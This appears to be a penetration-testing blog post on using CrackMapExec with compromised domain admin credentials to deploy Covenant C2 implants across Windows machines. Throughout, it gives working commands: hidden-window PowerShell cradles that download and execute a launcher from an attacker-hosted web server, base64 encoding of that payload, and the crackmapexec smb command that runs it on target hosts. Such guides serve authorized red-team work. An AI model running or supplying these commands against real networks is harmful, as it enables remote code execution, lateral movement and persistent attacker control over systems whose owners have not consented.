CrackMapExec is a wonderful tool to leverage once you have valid domain credentials. If you happen to have elevated domain credentials, the possibilities become endless on what you can do.
I was recently on an internal network engagement where I was able to pull down cleartext credentials to a domain admin account. CrackMapExec allowed me to easily execute commands and dump SAM tables, but what else can I do to take this to the next level?
This is where Covenant C2 comes in! I found lots of blog posts online that talk about how to install and set up Covenant, but I couldn’t find anything that clearly showed how to leverage a tool like CrackMapExec to actually get Grunts connected. This post aims to serve as a guide to fill that gap.
Table of Contents:
- Installing Covenant C2
- Setting up the Listener.
- Setting up the Launcher
- Shortening the Encoded Launcher
- Hosting the Launcher on a Different Webserver
- Encoding Custom Payloads
- Using CrackMapExec to Launch Covenant Grunts
Installing Covenant C2
I don’t really want to go into detail on how to set up Covenant, but there are some awesome articles that go into more depth on this topic.
git clone --recurse-submodules https://github.com/cobbr/Covenant
cd Covenant/Covenant
dotnet build
dotnet run
Setting up the Listener
Also, this is going to go into depth on this, but this is the Listener that I set up in order for my example demonstration to work.
BindAddress: 0.0.0.0
BindPort: 8081
ConnectPort: 8081
ConnectAddresses: Your routeable address to this instance.

Setting up the Launcher
Now that we have a Listener, we need to generate a Launcher. Since CrackMapExec has the ability to execute commands, we’ll leverage PowerShell for this. Go ahead and fill out the settings that you need for for your engagement. Once it’s ready, click Generate.
This should generate two commands that you can then run against a system to spawn a Grunt instance, one that is encoded and one that isn’t. In order for us to use CrackMapExec, you’ll need the Encoded Launcher. I suggest testing this out by running it against a Windows machine you control to make sure things are set up correctly.

Shortening the Encoded Launcher
By default, the Encoded Launcher that gets generated is likely too long to use with CrackMapExec. Instead, we’ll need to create our own Encoded Launcher that will leverage the Invoke-Expression cmdlet to download and execute a web-hosted payload. If you’re going to host this launcher with Covenant directly, you can click on the Host tab and specify the path for the file.
The non-encoded command we’re looking to create will look similar to whats noted below. Again, you’ll need to make sure Covenant is hosting the file up in order for you to be able to use it.
powershell -Sta -Nop -Window Hidden -Command "iex (New-Object Net.WebClient).DownloadString('http://<localhost:8081/launcher.ps1')"
The encoded version of this payload will be much shorter and should be able to be passed to CrackMapExec.
Hosting the launcher on a different machine
If you’re going to host the file from a different machine, you’ll need to Encode your own command instead of using the provided command. This can be achieved by doing the following.
First, you’ll need to navigate to the Launcher’s Generate tab and Download it to the system you wish to host it on.

Once this PowerShell script is present on the target system, feel free to host it up with your favorite web hosting tool. In my example, I’ll leverage Python to do this.
sudo python -m SimpleHTTPServer 8082
Now we need to craft our powershell command that will go out to this webserver, download, and execute the payload into memory. The command should look something like this before encoding. The only difference between this and the one that Covenant produces is the web address.
powershell -Sta -Nop -Window Hidden -Command "iex (New-Object Net.WebClient).DownloadString('http://webServer:8082/launcher.ps1')"
Encoding Custom Payloads
To generate the encoded command we need to run, we can use the following commands in PowerShell. You’ll want to replace $string with the contents of your -command flag mentioned above.
$string = "iex (New-Object Net.WebClient).DownloadString('http://<webServer>:8082/ps.ps1')"
$encodedcommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($string))
echo $encodedcommand
For Linux Users: Or, you could also place your PowerShell command into a .ps1 script and run the following to get the encoded command out of Kali.
cat file.ps1 | iconv -t utf-16le | base64 -w 0
Then you can take the output from your echo/cat command, paste it into the placeholder below, and test to make sure your launcher works properly.
powershell -Sta -Nop -Window Hidden -EncodedCommand <encodedCommand>
Using CrackMapExec to Launch Covenant Grunts
Now that we have our command ready, we can simply pass that to CrackMapExec like this.
sudo crackmapexec smb <target(s)> -u <user> -p <password> -x '<encodedCommand>'
Donations and Support:
Like my content? Please consider supporting me on Patreon:
https://www.patreon.com/infinitelogins
Purchase a VPN Using my Affiliate Link
https://www.privateinternetaccess.com/pages/buy-vpn/infinitelogins